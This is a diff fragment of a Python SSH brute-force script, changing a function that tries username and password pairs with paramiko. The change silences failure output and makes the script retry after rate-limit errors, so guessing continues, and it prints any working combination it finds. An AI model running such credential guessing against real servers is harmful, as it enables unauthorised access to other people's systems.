|
|
|
@ -29,12 +29,12 @@ def is_ssh_open(hostname, username, password): |
|
|
|
|
returning = False |
|
|
|
|
except paramiko.SSHException as err: |
|
|
|
|
print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}") |
|
|
|
|
print(f"{RED}{username}:{password}{RESET}") |
|
|
|
|
print(f"{RED}{err}{RESET}") |
|
|
|
|
# print(f"{RED}{username}:{password}{RESET}") |
|
|
|
|
# print(f"{RED}{err}{RESET}") |
|
|
|
|
# sleep for a minute |
|
|
|
|
time.sleep(60) |
|
|
|
|
#returning = is_ssh_open(hostname, username, password) |
|
|
|
|
returning = False |
|
|
|
|
returning = is_ssh_open(hostname, username, password) |
|
|
|
|
# returning = False |
|
|
|
|
else: |
|
|
|
|
# connection was established successfully |
|
|
|
|
print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}") |
|
|
|
|